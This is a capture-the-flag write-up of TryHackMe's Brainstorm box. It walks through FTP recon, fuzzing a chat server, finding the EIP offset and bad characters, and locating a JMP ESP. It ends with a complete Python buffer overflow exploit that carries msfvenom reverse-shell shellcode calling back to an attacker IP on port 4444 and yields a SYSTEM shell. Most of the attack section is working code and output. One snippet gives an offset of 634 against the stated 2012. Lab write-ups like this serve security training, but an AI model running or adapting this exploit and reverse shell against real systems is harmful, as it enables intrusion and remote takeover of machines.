A medium Windows box from TryHackMe, notice a chat applications code on an open FTP server - also running on port 9999, and see that it’s vulnerable to a buffer overflow.

Recon

Running the usual nmap

sudo nmap -sC -sV 10.10.61.16

See theres an open FTP port with anonymous access on port 21

And an unknown service running on 9999

Connecting to the ftp server

ftp ftp@10.10.61.16

See a couple files inside a “chatserver” directory, chatserver.exe and essfunc.dll

Since these are binary files, download them with

ftp> bin
200 Type set to I.
ftp> mget *

Exploitation

Opening a Windows 7 VM, download the latest version of Immunity Debugger

Inside the VM, download python 2.7.1 for immunity to work here

Then download mona.py from here

Now open the Immunity debugger, and open chatserver.exe

Interacting with the chatserver.exe through netcat, see that there are two inputs, name and message

nc 10.10.61.16 9999

Welcome to Brainstorm chat (beta)  
Please enter your username (max 20 characters): Name 
Write a message: Message

Trying a 3000 long string with

python3 -c "print('A' * 3000)"

And pasting it into the “username” field, program doesnt crash

But inside the message field, it does crash

So, to find out roughly how many bytes it crashes at, write a fuzzer.py script

#!/usr/bin/env python3  
  
import socket, time, sys  
  
ip = "LOCAL_IP"  
  
port = 9999  
timeout = 5  
  
string =  "A" * 100  
  
while True:  
 try:  
   with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:  
     s.settimeout(timeout)  
     s.connect((ip, port))  
     s.recv(1024)  
     s.send(bytes("GG", "latin-1"))  
     s.recv(1024)  
     print("Fuzzing with {} bytes".format(len(string)))  
     s.send(bytes(string, "latin-1"))  
     s.recv(1024)  
 except:  
   print("Fuzzing crashed at {} bytes".format(len(string)))  
   sys.exit(0)  
 string += 100 * "A"  
 time.sleep(1)

Running it with

python3 fuzzer.py

Fuzzing with 100 bytes  
Fuzzing with 200 bytes  
Fuzzing with 300 bytes  
Fuzzing with 400 bytes  
Fuzzing with 500 bytes  
Fuzzing with 600 bytes  
Fuzzing with 700 bytes  
Fuzzing with 800 bytes  
Fuzzing with 900 bytes  
Fuzzing with 1000 bytes  
Fuzzing with 1100 bytes  
Fuzzing with 1200 bytes  
Fuzzing with 1300 bytes  
Fuzzing with 1400 bytes  
Fuzzing with 1500 bytes  
Fuzzing with 1600 bytes  
Fuzzing with 1700 bytes  
Fuzzing with 1800 bytes  
Fuzzing with 1900 bytes  
Fuzzing with 2000 bytes  
Fuzzing with 2100 bytes  
Fuzzing crashed at 2200 bytes

It crashes at 2200 bytes, and inside Immunity Debugger, see that it indeed crashed with a bunch of As inside the EIP register

Using a pattern to find the EIP offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

Paste the result into a simple exploit script, very similar to the fuzzer, just with no loop

import socket  
  
ip = "LOCAL_IP"  
port = 9999  
  
offset = 0    
overflow = "A" * offset  
retn = ""  
padding = ""  
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

postfix = ""  
  
buffer = overflow + retn + padding + payload + postfix  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
 s.connect((ip, port))  
 s.recv(1024)  
 s.send(bytes("GG", "latin-1"))  
 s.recv(1024)  
 print("Sending evil buffer...")  
 s.send(bytes(buffer + "\r\n", "latin-1"))  
 print("Done!")  
except:  
 print("Could not connect.")

Then resetting chatserver.exe in immunity, run the script, look at the EIP registers value when the program crashes to find the offset

Here, the value is 31704330

Find the offset with

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 31704330                  
[*] Exact match at offset 2012

Can check if you can control the IEP register with changing “retn” in the script to be “BBBB” - running the exploit again, should see the IEP register be equal to 42424242 (4 B’s)

Now need to find bad characters

Using all characters from 0x01 to 0xff, need to see if they work (0x00 is a null byte and is always a bad character)

Changing the offset value in the script to 2012, and set the payload to a list of all characters in that range

offset = 634
overflow = "A" * offset
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Then reset immunity, run the executable, crash it with the script, right click on the ESP register, and click Follow in Dump

The values you send should be counting up 0x01 through to 0xff in the bottom left pane

Wherever the bytes dont count in order, thats a bad byte, take it out of the payload, reset and rerun, checking everytime untill the remaining payload has no bad bytes

In this case, the only bad character is 0x00 as every other character showed up in order

Now using mona in Immunity Debugger to find a jump point to set our EIP register to

!mona jmp -r esp -b "0x00"

Find a JMP ESP at 0x625014df

Now all thats left is creating a reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.107.137 LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -f c -v payload

Changing the payload to the output of msfvenom, the IP from the local VM IP to the target IP, and adding a 32byte NOP sled, end up with

import socket  
  
ip = "10.10.61.16"  
port = 9999

offset = 2012  
overflow = "A" * offset  
retn = "\xdf\x14\x50\x62"  
padding = "\x90" * 32  
payload = ("\xb8\xfd\x72\x2a\x41\xd9\xf6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"  
"\x52\x31\x46\x12\x83\xee\xfc\x03\xbb\x7c\xc8\xb4\xbf\x69\x8e"  
"\x37\x3f\x6a\xef\xbe\xda\x5b\x2f\xa4\xaf\xcc\x9f\xae\xfd\xe0"  
"\x54\xe2\x15\x72\x18\x2b\x1a\x33\x97\x0d\x15\xc4\x84\x6e\x34"  
"\x46\xd7\xa2\x96\x77\x18\xb7\xd7\xb0\x45\x3a\x85\x69\x01\xe9"  
"\x39\x1d\x5f\x32\xb2\x6d\x71\x32\x27\x25\x70\x13\xf6\x3d\x2b"  
"\xb3\xf9\x92\x47\xfa\xe1\xf7\x62\xb4\x9a\xcc\x19\x47\x4a\x1d"  
"\xe1\xe4\xb3\x91\x10\xf4\xf4\x16\xcb\x83\x0c\x65\x76\x94\xcb"  
"\x17\xac\x11\xcf\xb0\x27\x81\x2b\x40\xeb\x54\xb8\x4e\x40\x12"  
"\xe6\x52\x57\xf7\x9d\x6f\xdc\xf6\x71\xe6\xa6\xdc\x55\xa2\x7d"  
"\x7c\xcc\x0e\xd3\x81\x0e\xf1\x8c\x27\x45\x1c\xd8\x55\x04\x49"  
"\x2d\x54\xb6\x89\x39\xef\xc5\xbb\xe6\x5b\x41\xf0\x6f\x42\x96"  
"\xf7\x45\x32\x08\x06\x66\x43\x01\xcd\x32\x13\x39\xe4\x3a\xf8"  
"\xb9\x09\xef\xaf\xe9\xa5\x40\x10\x59\x06\x31\xf8\xb3\x89\x6e"  
"\x18\xbc\x43\x07\xb3\x47\x04\x22\x42\x2c\x5d\x5a\x48\xb2\x4c"  
"\xc7\xc5\x54\x04\xe7\x83\xcf\xb1\x9e\x89\x9b\x20\x5e\x04\xe6"  
"\x63\xd4\xab\x17\x2d\x1d\xc1\x0b\xda\xed\x9c\x71\x4d\xf1\x0a"  
"\x1d\x11\x60\xd1\xdd\x5c\x99\x4e\x8a\x09\x6f\x87\x5e\xa4\xd6"  
"\x31\x7c\x35\x8e\x7a\xc4\xe2\x73\x84\xc5\x67\xcf\xa2\xd5\xb1"  
"\xd0\xee\x81\x6d\x87\xb8\x7f\xc8\x71\x0b\x29\x82\x2e\xc5\xbd"  
"\x53\x1d\xd6\xbb\x5b\x48\xa0\x23\xed\x25\xf5\x5c\xc2\xa1\xf1"  
"\x25\x3e\x52\xfd\xfc\xfa\x62\xb4\x5c\xaa\xea\x11\x35\xee\x76"  
"\xa2\xe0\x2d\x8f\x21\x00\xce\x74\x39\x61\xcb\x31\xfd\x9a\xa1"  
"\x2a\x68\x9c\x16\x4a\xb9")    
postfix = ""  
  
buffer = overflow + retn + padding + payload + postfix  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
       s.connect((ip, port))  
       s.recv(1024)  
       s.send(bytes("GG", "latin-1"))  
       s.recv(1024)  
       print("Sending evil buffer...")  
       s.send(bytes(buffer + "\r\n", "latin-1"))  
       print("Done!")  
except:  
       print("Could not connect.")

Start a listener on 4444 and run the script, catching a SYSTEM shell.